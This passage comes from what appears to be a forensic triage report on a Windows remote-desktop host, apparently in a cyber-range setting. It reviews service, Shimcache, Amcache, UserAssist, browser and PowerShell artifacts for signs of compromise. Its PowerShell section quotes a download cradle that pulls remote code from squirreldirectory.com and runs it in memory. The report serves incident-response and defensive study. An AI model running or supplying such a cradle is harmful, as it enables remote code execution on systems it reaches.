  • Evidence: row_ref 207, ts 2018-05-07T19:29:08.812696+00:00, name LARIAT, imagepath C:\Program Files (x86)\Lincoln\LARIAT\tools\prunsrv.exe, imagepath_args //RS//LARIAT, start Auto Start (2), objectname LocalSystem.
  • Why it matters: Non-standard auto-start services with generic Java service wrappers can be used for persistence or to host malicious payloads.
  • Alternative explanation: May be a legitimate Lincoln line-of-business or industrial application.
  • Verify: Validate whether Lincoln LARIAT is an authorized application; inspect the LARIAT configuration and associated JAR/binaries for anomalies.
  • [SEVERITY: MEDIUM] [CONFIDENCE: LOW] NetGroup Packet Filter driver (**npf**) is installed and set to auto-start, enabling kernel-level packet capture.
  • Evidence: row_ref 314, ts 2018-05-08T21:13:34.651581+00:00, name npf, displayname NetGroup Packet Filter Driver, imagepath system32\drivers\npf.sys, start Auto Start (2), type Kernel Device Driver (0x1).
  • Why it matters: Attackers can leverage packet capture drivers to harvest credentials and perform network reconnaissance.
  • Alternative explanation: Routinely installed with Wireshark, Nmap, or WinPcap for legitimate network diagnostics.
  • Verify: Check if Wireshark/Nmap is installed and authorized; review user activity around 2018-05-08 21:13 UTC.

Data Gaps

  • No runtime state: This artifact does not indicate whether any service or driver is currently running (RUNNING/STOPPED), so active malicious execution cannot be confirmed from services data alone.
  • Missing executable metadata: No file hashes, digital signature status, or PE compile times are included here; those are required to confirm the nature of msadvapi2_32.exe, msadvapi2_64.exe, and Mnemosyne.sys.
  • No install audit trail: The ts values likely reflect registry last-write times rather than precise installation times. Corresponding EVTX Event ID 7045 (service creation) and Security/Setup logs are needed to establish exact installation vectors and originating user accounts.
  • Quoted-path vulnerability: The raw registry string values (including surrounding quotes) are not preserved distinctly from argument splitting in this CSV, so unquoted service path attacks cannot be assessed.
  • Limited correlation scope: Without process memory, network connections, Prefetch, or scheduled tasks, it is not possible to determine if these services have been actively used for lateral movement, credential access, or exfiltration.
Shimcache (shimcache) HIGH
Record Count 626
Time Range Start 1601-01-01T00:00:00
Time Range End 2018-08-31T00:21:03.387482

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Masquerading attacker tooling staged under fake “Microsoft Advanced API” directories and an “install_wormhole” folder.
  • Evidence: Row 305, last_modified=2018-05-08T21:13:21+00:00, path=C:\ProgramData\staging\install_wormhole\install_msadvapi2_32.exe; Row 313, last_modified=2018-05-08T21:13:01+00:00, path=C:\ProgramData\staging\install_wormhole\install_msadvapi2_64.exe; Row 298, 2018-03-02T20:43:58, C:\Program Files (x86)\Microsoft Advanced API 32\msadvapi2_32.exe; Row 306, 2018-03-02T20:42:22, C:\Program Files (x86)\Microsoft Advanced API 64\msadvapi2_64.exe; Row 314, 2018-05-08T21:12:46, C:\ProgramData\staging\7za.exe; plus associated temp installers Rows 304, 312 and bundled Nmap/WinPcap and VC redist packages Rows 300, 301, 309, 310.
  • Why it matters: The filenames and directories deliberately mimic Microsoft products; the “install_wormhole” path, 7za.exe, and Nmap components indicate attacker staging for reconnaissance, lateral movement, or data collection.
  • Alternative explanation: None plausible; these are not legitimate Microsoft paths or packages.
  • Verify: Obtain file hashes and check reputation; review Windows Security/System/Application event logs and any available Sysmon or antivirus logs between 2018-02-26 and 2018-05-08 for execution or installation evidence.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Suspicious SystemInit-dev.exe dropped on the Administrator Desktop and later installed as a program named “SystemInit”.
  • Evidence: Row 459, last_modified=2018-03-12T22:07:08+00:00, path=C:\Users\Administrator\Desktop\SystemInit-dev.exe; Row 460, 2018-03-12T22:07:08, path=SIGN.MEDIA=1E6CC1C SystemInit-dev.exe; Row 344, 2018-05-04T22:12:41, C:\Program Files\SystemInit\unins000.exe; Rows 444 and 445, 2018-05-04T22:12:41, C:\Users\Administrator\AppData\Local\Temp\is-D57RB.tmp\SystemInit-dev.tmp.
  • Why it matters: The name masquerades as a Windows system process, was placed in the built-in Administrator profile, and appears to have been installed; strongly indicates a malicious payload or persistence mechanism.
  • Alternative explanation: Custom internal tool with an extremely poor naming convention.
  • Verify: Hash the file and check threat intelligence; examine Prefetch, Amcache, and EVTX (System/Security/Application) around 2018-03-12 and 2018-05-04 for execution, service creation, or autorun activity.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Unknown executable subject_srv.exe present in the Windows root directory.
  • Evidence: Row 1, last_modified=2018-04-10T19:29:48+00:00, path=C:\windows\subject_srv.exe.
  • Why it matters: A non-standard executable dropped directly into C:\Windows is a common attacker persistence or backdrop location and does not match standard software packaging.
  • Alternative explanation: Poorly packaged in-house or third-party utility.
  • Verify: Check the file hash against threat intel; search the Registry and Service Control Manager events for a service named “subject_srv” or similar; corroborate with Prefetch.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Unknown executable sd.exe placed under a temporary perfmon directory.
  • Evidence: Row 2, last_modified=2017-09-29T13:42:09.954626+00:00, path=c:\windows\temp\perfmon\sd.exe.
  • Why it matters: A short, non-descriptive filename in a temporary path is consistent with renamed attacker utilities or credential/access tools.
  • Alternative explanation: Legitimate troubleshooting binary left over from system provisioning (timestamp aligns with many OS binaries).
  • Verify: Corroborate with Prefetch and process creation logs; determine the file hash and original internal name if signed.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] NirSoft BrowsingHistoryView.exe found in the Windows Temp directory.
  • Evidence: Row 55, last_modified=2018-08-24T15:35:47.195112+00:00, path=c:\Windows\Temp\BrowsingHistoryView.exe.
  • Why it matters: Browser history recovery tools are frequently used by intruders for situational awareness and data harvesting.
  • Alternative explanation: Administrator downloaded the tool for legitimate troubleshooting or forensic use.
  • Verify: Check browser history access timestamps and Security/Process Creation events around 2018-08-24.
  • [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Sysinternals Autorunsc.exe present in the Windows directory.
  • Evidence: Row 73, last_modified=2018-08-15T17:10:13.979748+00:00, path=C:\WINDOWS\Autorunsc.exe.
  • Why it matters: Autoruns is commonly used by attackers to enumerate persistence mechanisms; placement in C:\WINDOWS is atypical for standard administrative tooling.
  • Alternative explanation: Administrator copied Sysinternals utilities to the Windows directory for convenience.
  • Verify: Search for associated autoruns output files and command-line arguments in process creation or PowerShell logs.
  • [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Executable recovered from the built-in Administrator Recycle Bin.
  • Evidence: Row 530, last_modified=2017-12-20T20:32:26.556479+00:00, path=C:\$Recycle.Bin\S-1-5-21-3204118025-1178511089-2137043725-500\$R21OX18.exe.
  • Why it matters: An executable in the Administrator (RID 500) Recycle Bin may indicate a deleted payload or attacker tool.
  • Alternative explanation: Administrator deleted an old or unwanted installer.
  • Verify: Carve the Recycle Bin file and hash it; inspect the paired $I21OX18.exe index file for the original path and deletion timestamp.

Data Gaps

  • Shimcache records presence on disk, not definitive execution, command lines, or process ancestry. Execution cannot be confirmed without corroboration from Prefetch, Amcache, or EVTX process creation events.
  • The artifact provides file last-modified timestamps, not cache insertion times, so the exact sequence of when entries were observed by the OS is uncertain.
  • No user context is associated with individual entries, so the principal responsible for placing or running the suspicious files cannot be determined from this artifact alone.
  • 227 entries carry a last_modified of 1601-01-01T00:00:00, indicating missing/null timestamps (common for Windows Store appx entries), which limits temporal analysis for a large portion of the dataset.
  • Credential access, privilege escalation, and lateral movement cannot be directly assessed: no Mimikatz-like filenames were observed, and while standard remote-management binaries (e.g., wsmprovhost.exe, mstsc.exe) are present, their inclusion here is expected on an RDS host and does not prove malicious use.
  • Recommended follow-up artifacts: Prefetch, Amcache, Windows Security Event Log (4688/4689), Sysmon (Event IDs 1 and 7), System Event Log (service creation), Registry run keys/services, $MFT/$LogFile metadata, and Recycle Bin $I index files (especially for Row 530).
Amcache (amcache) HIGH
Record Count 828
Time Range Start 2018-08-19T06:26:15.925751
Time Range End 2018-09-07T07:26:11.991423

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Masquerading executables deployed in fake “Microsoft Advanced API” directories with no authenticode publisher metadata.
  • Evidence: row 170 (c:\program files (x86)\microsoft advanced api 32\msadvapi2_32.exe, SHA-1 92f943191577a07a30bc2be2ea1b7325830f3f43, publisher blank, install_date absent); row 171 (c:\program files (x86)\microsoft advanced api 64\msadvapi2_64.exe, SHA-1 beb067d29fe33cee31784011729e7355daf562b9, publisher blank, install_date absent); associated program entries row 350 (msadvapi_32, publisher “Microsoft Advanced API”, install_date 2018-05-08T00:00:00+00:00) and row 386 (msadvapi_64, publisher “Microsoft Advanced API”, install_date 2018-05-08T00:00:00+00:00). The same directories also contain a copy of the legitimate Visual C++ 2015 redistributable (rows 255, 257).
  • Why it matters: The name “msadvapi” mimics the legitimate Windows Advanced API (advapi32.dll) and there is no known Microsoft product by this executable name; the fabricated publisher string and lack of signature indicate intentional masquerading, a common defense-evasion technique for credential-access tools or implants.
  • Alternative explanation: Poorly named internal utility (unlikely given the deliberate Microsoft-like naming).
  • Verify: Extract both binaries, compute SHA-256, submit to a sandbox and threat-intel platforms; inspect ShimCache and Prefetch for execution evidence; analyze imports/strings for Mimikatz-like or shellcode indicators.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Network reconnaissance tooling (WinPcap/Nmap installer) concealed inside the same masquerade directory structure.
  • Evidence: row 290 (c:\program files (x86)\microsoft advanced api 32\winpcap-nmap-4.13.exe, SHA-1 955d9a7666075af6fdf86ce827a4f27a0784a9d3, publisher blank); row 291 (c:\program files (x86)\microsoft advanced api 64\winpcap-nmap-4.13.exe, identical SHA-1). A separate, legitimate WinPcap installation also exists at c:\program files\winpcap\ (row 220, row 250).
  • Why it matters: Hiding a second copy of a network-capture/scanning utility inside a fake Microsoft folder suggests an attempt to conceal reconnaissance capabilities from casual inspection and endpoint tools.
  • Alternative explanation: Bundled dependency for the same unauthorized utility in that folder.
  • Verify: Check for Nmap/Zenmap installation artifacts, review %TEMP% and user profiles for PCAP files, and correlate with network flow logs for scanning or sniffing activity.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Non-standard software installed in a discrete burst months after the baseline provisioning wave.
  • Evidence: The host’s baseline (Office 2007) clusters at install_date 2018-01-12T00:00:00+00:00, whereas SystemInit by Simspace Corp. (row 336, install_date 2018-05-04T00:00:00+00:00), LARIAT (row 356, install_date 2018-05-07T00:00:00+00:00), the “Microsoft Advanced API” entries (rows 350/386, install_date 2018-05-08T00:00:00+00:00), and McAfee updates (row 297, install_date 2018-05-09T00:00:00+00:00) all appear in a narrow May 2018 window.
  • Why it matters: A discrete secondary installation wave on an RDS host can indicate attacker staging or unauthorized administrative activity; Simspace tooling is typically cyber-range infrastructure and is unexpected in a production enterprise remote-desktop environment.
  • Alternative explanation: Authorized mid-year maintenance or cyber-range/environment configuration.
  • Verify: Validate against the host’s approved software baseline and CMDB records; determine whether Simspace and LARIAT deployments are expected on BASE-RD-02.
  • [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Dual-use system administration utilities present that support privilege escalation, persistence, and lateral movement.
  • Evidence: row 36 (c:\program files\puppet labs\puppet\puppet\bin\elevate.exe, publisher “wintellect”, 20.0 KB); row 185 (c:\program files\puppet labs\puppet\service\nssm.exe, version 2.24, publisher blank); row 29 (c:\program files (x86)\lincoln\lariat\tools\delprof.exe, publisher “microsoft corporation”); row 211 (c:\program files\puppet labs\puppet\bin\pscp.exe, publisher “simon tatham”).
  • Why it matters: elevate.exe is a known UAC bypass helper, nssm.exe is frequently abused for service-based persistence, delprof.exe can destroy user evidence, and pscp.exe enables encrypted file transfer and lateral movement.
  • Alternative explanation: Legitimate automation usage by Puppet and LARIAT administrators.
  • Verify: Review installed services for unexpected nssm entries, inspect Puppet manifests for authorized use of these binaries, and correlate with authentication logs for anomalous transfer sessions.

Data Gaps

  • Execution evidence missing: Amcache records file inventory but most rows lack install_date and none provide last-execution time; we cannot confirm from this artifact alone whether the suspicious msadvapi2_*.exe or winpcap-nmap-4.13.exe were ever launched. ShimCache, Prefetch, and EDR telemetry are required.
  • No installation context: The artifact does not record the user account or process that performed the installation, nor command-line arguments, leaving the infection vector undetermined.
  • Timeline precision limited: Many entries have blank install_date fields, forcing reliance on coarse directory/MFT timestamps if available.
  • Absence of deletion events: Amcache does not reflect whether artifacts were removed after execution, so cleared payloads or log-wiping activity cannot be assessed here.
  • Binary intent unverified: SHA-1 hashes are present but no SHA-256 or threat-intel lookup results are available in this data; without reverse engineering or sandboxing, the exact function of msadvapi2_32.exe and msadvapi2_64.exe remains unconfirmed.
BAM/DAM (bam) UNSPECIFIED
Record Count 16
Time Range Start 2018-05-04T18:37:57.293501
Time Range End 2018-09-07T04:19:01.827570

No suspicious execution patterns were identified in the available BAM data; all recorded binaries are standard Windows components, legitimate productivity software, or security tools executing from expected system paths.

Data Gaps

  • Missing User SID Attribution — The AI projection omitted the user SID field, which is critical on an RDS host to attribute execution to specific accounts. Without it, activity such as powershell.exe (row_ref 26, 2018-09-07T04:19:01.827570+00:00) and Office applications cannot be tied to legitimate users versus potential attacker-controlled sessions.
  • Limited Retention and Timeline Gaps — BAM stores only recent entries per user. The ~4-month gap between May 2018 and late August 2018 likely reflects retention rollover rather than a true absence of activity, but it prevents any assessment of execution during that window.
  • Lost Frequency Context from Deduplication — 17 rows were removed as timestamp/ID-only duplicates, and 6 annotated variants were collapsed. This discarded data could have revealed repeated or clustered execution of programs (e.g., PowerShell) that might indicate scripted or interactive attacker activity.
  • No Command-Line or Parent Process Data — Only the executable path is captured. PowerShell execution is not assessable as malicious or benign without command-line arguments, parent process identity, or spawning chain context.
  • Absence of Credential Access or Lateral Movement Tools — No evidence of Mimikatz, PsExec, remote admin tools, or other DFIR-relevant utilities was observed; however, BAM's shallow history means prior execution of such tools cannot be ruled out.
  • No File Integrity Verification — Hashes or signatures are absent, so modification of the executed binaries (e.g., binary proxying via renamed malware) cannot be confirmed or excluded.
UserAssist (userassist) HIGH
Record Count 128
Time Range Start 1601-01-01T00:00:00
Time Range End 2018-08-31T00:41:59.358999

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Service account spsql executed PowerShell and Microsoft Office applications in an interactive Explorer session on 2018-08-31.
  • Evidence: PowerShell launched at 2018-08-31T00:41:59.358999 (row 104: {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe, 2 executions, 3 focus, 248093 ms); PowerPoint at 2018-08-31T00:23:47.194000 (row 105); Excel at 2018-08-31T00:24:45.292000 (row 106); Word at 2018-08-31T00:25:42.858999 (row 107); Explorer shell at 2018-08-31T00:26:11.411999 (row 101). All username spsql.
  • Why it matters: Service accounts should not have interactive RDS sessions launching script hosts and Office suites; this is consistent with compromised credentials or unauthorized lateral movement to the RDS host.
  • Alternative explanation: Vendor or DBA performing maintenance under the SQL service account.
  • Verify: Correlate with Security Event Log logon events (4624/4634) for spsql on 2018-08-31; review PowerShell history, command-line logging, and recently opened Office document paths.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Domain administrator account administrator.shieldbase launched an auto-generated executable with a pseudo-random GUID name via Explorer.
  • Evidence: 2018-05-08T14:42:16.477999 (row 122: Microsoft.AutoGenerated.{6DC4AF58-96DF-B985-94FE-0197ED67FE31}, 1 execution, 1 focus, 159437 ms), username administrator.shieldbase.
  • Why it matters: Auto-generated/GUID-style executables are atypical for manual admin use and may reflect ClickOnce abuse, compiled payloads, or attacker tooling.
  • Alternative explanation: Legitimate ClickOnce or in-house generated installer launched by an administrator.
  • Verify: Hunt the filesystem and Amcache for this GUID string; check code signature, parent process chain, and proxy execution artifacts.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Unrecognized application E7CF176E110C211B was executed interactively by user kellee.espinoza with sustained focus.
  • Evidence: 2018-05-25T00:01:12.258999 (row 18: E7CF176E110C211B, 3 executions, 5 focus count, 367234 ms), username kellee.espinoza.
  • Why it matters: Non-descriptive executable names are a common evasion tactic; the sustained focus duration indicates purposeful user interaction rather than background noise.
  • Alternative explanation: Custom internal tool, browser component, or game using an opaque identifier.
  • Verify: Cross-reference name/hash against AppCompatCache, Amcache, Prefetch, and any available threat intelligence; inspect file metadata.
  • [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Domain administrator executed FramePkg.exe from an S: network drive.
  • Evidence: 2018-05-08T21:55:39.415998 (row 126: S:\FramePkg.exe, 1 execution, 0 focus, 0 ms), username administrator.shieldbase.
  • Why it matters: While FramePkg.exe is a legitimate McAfee ePO agent installer, privileged execution from a network share can reflect lateral movement or binary masquerading.
  • Alternative explanation: Centralized McAfee agent deployment via admin share.
  • Verify: Compare SHA256 of S:\FramePkg.exe to known-good McAfee hashes; review share access logs and file creation timestamps.

Data Gaps

  • Scope limitation: UserAssist only records Explorer-driven GUI launches. Command-line execution of credential-access tools (e.g., Mimikatz), remote services, or scheduled-task-based persistence will not appear here.
  • Epoch timestamps obscure timeline: 36 rows (28 % of records) carry the Windows epoch timestamp 1601-01-01T00:00:00+00:00 (e.g., rows 11, 46, 102, 123), preventing accurate last-execution dating for items such as cmd.exe under multiple accounts.
  • No arguments or parent process: The artifact captures the binary path but not command-line arguments, so the intent behind the spsql PowerShell launch or administrator cmd.exe usage is unassessable from this data alone.
  • Missing context for interactive logons: It cannot be determined whether the spsql session was a local console, RDP, or Fast User Switching event without Security Event Log (4624) correlation.
  • No evidence of tampering, but absence is notable: There are no cleared UserAssist keys or obvious anti-forensics, yet the heavy reliance on epoch timestamps limits behavioral-change detection. Complementary artifacts (Prefetch, Amcache, Sysmon EID 1, Security 4624/4688) are required to confirm or refute intrusion.
Browser History (browser.history) HIGH
Record Count 12708
Time Range Start 2018-05-10T20:49:28.984615
Time Range End 2018-08-31T00:42:11.921614

Merged batch 1

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] The account spsql — naming consistent with a SQL Server service account — generated interactive browser history showing direct access to another user’s (jpallen) sensitive research documents, including files explicitly named “TOP SECRET” and “SECRET”.
  • Evidence: row_ref 12648 (2018-08-31T00:25:29.998997, file:///C:/Users/jpallen/Documents/Research/Metal%20Alloys/Unobtanium/TOP%20SECRET%20-%20UNOBTANIUM%20FORMULA.docx); row_ref 12645 (2018-08-31T00:25:45.171976, file:///C:/Users/jpallen/Documents/Research/Metal%20Alloys/Vibranium/SECRET%20VIBRANIUM%20FORMULA.docx); row_ref 12646 (2018-08-31T00:23:47.288509, file:///C:/Users/jpallen/Documents/Research/Metal%20Alloys/Carbonadium/Carbonadium%20Develpment%20Plan.pptx); row_ref 12647 (2018-08-31T00:25:08.763067, file:///C:/Users/jpallen/Documents/Research/Metal%20Alloys/Financial%20Analysis/alloy-research-financials.xls); row_ref 12650 (2018-08-31T00:21:51.357359, file:///C:/Users/spsql/…collaborationPPTDoc…pptx); row_ref 12649 (2018-08-31T00:37:32.662066, file:///C:/Users/spsql/…collaborationSpreadSheetDoc…xls). Aggregate artifact statistics also indicate 9x spsql total records in the dataset.
  • Why it matters: A service-style account opening another user’s confidential documents indicates likely credential abuse, lateral movement, or data-staging activity.
  • Alternative explanation: An administrator performed interactive troubleshooting while logged in as the spsql service account.
  • Verify: Inspect Windows Security Event Log (Event IDs 4624/4625/4634) on BASE-RD-02 for spsql interactive or remote logon sessions between 2018-08-31 00:21 and 00:42 UTC.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Immediately after accessing sensitive files, the spsql account triggered Microsoft Live OAuth authorization flows, suggesting possible cloud-service interaction.
  • Evidence: row_ref 12642 (2018-08-31T00:42:10.562147, https://login.live.com/oauth20_logout.srf…); row_ref 12643 (2018-08-31T00:42:10.780901, https://login.live.com/oauth20_desktop.srf…); row_ref 12644 (2018-08-31T00:42:11.921614, https://login.live.com/oauth20_authorize.srf…).
  • Why it matters: OAuth traffic following a session of sensitive file access may indicate an attempt to authenticate to a Microsoft cloud service (e.g., OneDrive) for sync or exfiltration.
  • Alternative explanation: Background Microsoft account integration or automatic browser sign-in triggered by IE/Edge features unrelated to attacker activity.
  • Verify: Cross-reference with network proxy/firewall logs for live.com traffic from BASE-RD-02 at that time, and inspect browser cache/cookies for the signed-in identity.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] User kellee.espinoza generated an anomalous volume of Internet Explorer history entries for auto-named local and network-share documents, with repeated access to S: drive files and significant off-hours activity.
  • Evidence: row_ref 9946 (2018-05-23T09:52:38.796490+00:00, file:///C:/Users/kellee.espinoza/Documents/collaborationWordDoc6421671504674840736.docx); row_ref 9969 (2018-05-23T00:00:13.791824+00:00, file:///C:/Users/KELLEE~1.ESP/DOCUME~1/collaborationPPTDoc1379760986757067342.ppt); row_ref 10055 (2018-05-23T05:57:56.627573+00:00, file:///C:/Users/KELLEE~1.ESP/DOCUME~1/collaborationSpreadSheetDoc1798538068678110448.xls); row 11226 (2018-05-23T01:06:49, file:///C:/Users/KELLEE~1.ESP/DOCUME~1/collaborationSpreadSheetDoc5595436754369296619.xlsx); row 11185 (2018-05-24T00:40:52, file:///C:/Users/KELLEE~1.ESP/DOCUME~1/collaborationSpreadSheetDoc166969562609397674.xlsx); row 11214 (2018-06-04T20:49:52, file:///S:/collaborationSpreadSheetDoc6688441004814776110.xls, visit_count=14); row 11228 (2018-06-04T20:41:51, file:///S:/collaborationPPTDoc7706856077824161578.ppt, visit_count=12); row 11640 (2018-06-04T21:59:16, file:///S:/collaborationWordDoc6992166146817501795.docx, visit_count=13); row_ref 8368 (2018-06-04T20:39:10.189030+00:00, file:///S:/collaborationSpreadSheetDoc1741378862225908156.xlsx, visit_count=13); row_ref 8507 (2018-06-04T20:24:40.154949+00:00, file:///S:/collaborationWordDoc4758941134508993321.doc, visit_count=13). Dataset statistics show 12,589 total entries for kellee.espinoza.
  • Why it matters: Thousands of randomized local file URLs accessed via a browser engine—especially during overnight hours—are inconsistent with normal interactive use and suggest automated file enumeration, staging, or a compromised application.
  • Alternative explanation: A legitimate line-of-business application or document-management system using the browser engine to render local files.
  • Verify: Inspect the actual files on disk, identify the parent process launching iexplore.exe (via Prefetch or EDR), and correlate with Windows Security Event Log logon events for kellee.espinoza.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Browser history records exist for non-standard accounts spsql and rsydow-a on an RDS host where a single user (kellee.espinoza) accounts for the vast majority of activity.
  • Evidence: Artifact username frequency statistics show 9x spsql and 1x rsydow-a across the 12,708-record artifact. Specific row-level timestamps and URLs for rsydow-a were not present in provided CSV rows.
  • Why it matters: Interactive browser sessions under service-style or infrequently seen accounts may indicate unauthorized access, credential reuse, or lateral movement.
  • Alternative explanation: Scheduled monitoring/reporting tool using a browser rendering engine under a service account context, or legitimate administrative activity.
  • Verify: Retrieve the complete browser history rows for spsql (beyond the Aug 31 session) and rsydow-a, and cross-reference with Windows Security Event Log interactive logon events (Event ID 4624).
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User jpallen accessed local documents labeled “TOP SECRET” and “SECRET” and conducted repeated web searches for fictional metal-alloy chemical formulas.
  • Evidence: Artifact top-value statistics show URLs file:///C:/Users/jpallen/Documents/Research/Metal%20Alloys/Unobtanium/TOP%20SECRET%20-%20UNOBTANIUM%20FORMULA.docx (2×), file:///C:/Users/jpallen/Documents/Research/Metal%20Alloys/Vibranium/SECRET%20VIBRANIUM%20FORMULA.docx (2×), and titles including vibranium chemical formula - Google Search (4×) and Adamantium vs Vibranium vs Carbonadium (3×). No specific row_ref/timestamp was provided for these entries in the CSV excerpts.
  • Why it matters: In a suspected compromise, access to documents labeled “TOP SECRET” combined with related web research may indicate an actor searching for or validating exfiltrated research data; the same files were later accessed by the spsql account.
  • Alternative explanation: These may be benign code names for an internal research project, or the user may simply be viewing fiction-themed personal documents.
  • Verify: Interview jpallen; inspect the referenced files for actual sensitivity; review jpallen logon and file-access audit logs.
  • [SEVERITY: LOW] [CONFIDENCE: LOW] Two browser history entries are flagged as hidden, but their content is not available in the provided data subset.
  • Evidence: Statistics show 2x True for the hidden field; corresponding row-level timestamps and URLs were not included in any provided CSV chunk.
  • Why it matters: Hidden entries can indicate attempts to conceal browsing activity (defense evasion).
  • Alternative explanation: Browser privacy features, automated redirections, or parser artifacts.
  • Verify: Obtain the full dataset and inspect the specific records where hidden is True.

Data Gaps

  • The full 12,708-record dataset was split across 11 chunks, but the provided CSV subsets within individual chunks were overwhelmingly skewed toward kellee.espinoza file:// entries; anomalous multi-user activity was only visible in aggregate statistics and in the final rows of the artifact (around row_ref 12642+).
  • Specific row-level timestamps and URLs for the 109 jpallen records, most of the spsql records (only the 2018-08-31 session was visible in the chunks), and the single rsydow-a record were absent from the majority of provided CSV blocks.
  • Provided row ranges contain gaps; for example, records between approximately row_ref 6219–7460 and 12417–12641 were not included in any supplied chunk.
  • Chrome (55 records) and Firefox (4 records) were noted in artifact statistics, but their row-level contents were not visible in the provided evidence.
  • Critical contextual fields (title, host, visit_type, typed, hidden, from_url) were largely empty in the provided rows, preventing reconstruction of referrer chains, typed navigation, or hidden activity.
  • The two records flagged hidden=True were not present in any provided chunk, and the record with visit_count=121 was not mapped to a specific URL or timestamp in the provided subsets.
  • Browser history alone cannot determine whether spsql sessions were local console, RDS, or runas; cannot confirm whether files were exfiltrated; and cannot reveal InPrivate/Incognito or cleared sessions.
  • Correlation with Windows Security Event Logs (4624/4625), Prefetch/Amcache, SRUM, network proxy/firewall logs, and filesystem forensics for the randomized collaboration* documents is required to confirm or rule out compromise.
PowerShell History (powershell_history) HIGH
Record Count 4
Time Range Start 2018-08-31T00:43:21.332932
Time Range End 2018-08-31T00:43:21.332932

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] PowerShell download cradle executed repeatedly to retrieve and run remote payloads from suspicious HTTP endpoints.
  • Evidence: iex (new-object system.net.webclient).downloadstring('http://squirreldirectory.com/a') (row_ref 1 and 4, mtime 2018-08-31T00:43:21.332932+00:00), iex (new-object system.net.webclient).downloadstring('http://squirrreldirectory/a') (row_ref 2, same mtime), iex (new-object system.net.webclient).downloadstring('http://squirreldirectory/a') (row_ref 3, same mtime); all run as user spsql.
  • Why it matters: This is a textbook malicious staging pattern: downloading arbitrary code via HTTP directly into memory with Invoke-Expression, bypassing disk-based controls and enabling arbitrary code execution.
  • Alternative explanation: None plausible; no legitimate operational justification exists to repeatedly invoke remote untrusted scripts via unencrypted HTTP from suspiciously named domains.
  • Verify: Inspect web proxy/firewall logs for outbound HTTP connections to these three hosts just before 2018-08-31T00:43:21Z; collect process creation telemetry (Sysmon EID 1 / 4688) to identify child processes spawned by the PowerShell session.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Interactive PowerShell session running under the account spsql, a likely service account.
  • Evidence: username spsql on all four history rows (row_ref 1–4, mtime 2018-08-31T00:43:21.332932+00:00).
  • Why it matters: Accounts with service-like naming conventions are generally intended for non-interactive use; interactive logon combined with malicious download cradles strongly suggests account compromise or misuse.
  • Alternative explanation: An administrator may have interactively logged on using the service account for maintenance, though this would represent poor operational practice.
  • Verify: Cross-reference Windows Security Event Log Event ID 4624/4648 for the spsql account around the activity time to confirm logon type, source workstation, and originating IP address.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Multiple URL variations suggest iterative payload retrieval or redundant staging infrastructure.
  • Evidence: Three distinct host/path combinations observed across the four commands: squirreldirectory.com/a (row_ref 1, 4), squirrreldirectory/a (row_ref 2), and squirreldirectory/a (row_ref 3); all at mtime 2018-08-31T00:43:21.332932+00:00.
  • Why it matters: The typographical variant (squirrreldirectory) and TLD-less variant may indicate failed resolution attempts, typo-squatting infrastructure, or the attacker rotating through staging nodes.
  • Alternative explanation: The user may have manually typed URLs and introduced typos.
  • Verify: Query DNS and proxy logs for resolution or connection attempts to all three host variants to determine which, if any, successfully resolved and returned payload content.

Data Gaps

  • No per-command timestamps: All four records share the identical mtime (2018-08-31T00:43:21.332932+00:00), preventing precise ordering and correlation with other host or network events.
  • Outcome unknown: The artifact records only command input; there is no output, error stream, or success/failure indicator, so whether any payload downloaded or executed successfully cannot be determined.
  • Limited history context: Only four commands are present. Whether earlier or later commands were cleared (e.g., Clear-History or deletion of ConsoleHost_history.txt), or whether history retention was simply short, cannot be confirmed from this artifact alone.
  • Follow-on activity absent: The commands shown represent initial staging only; any subsequent persistence, privilege escalation, credential access, lateral movement, or exfiltration executed in the same session is not captured here.
  • Recommended supplementary artifacts: PowerShell Script Block Logging (Microsoft-Windows-PowerShell/Operational), Sysmon process creation and network connection events, Windows Security Event Log (4624, 4688), web proxy and DNS logs, and a live memory image or triage package from BASE-RD-02 to identify in-memory implants.
Automatic Jump Lists (jumplist.automatic_destination) HIGH
Record Count 5538
Time Range Start 2018-05-08T14:41:55.531105
Time Range End 2018-08-31T00:37:32.662066

Merged batch 1

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Service account spsql browsed another user’s classified research documents and created a matching staging directory under C:\Windows\Temp\perfmon during an off-hours session.
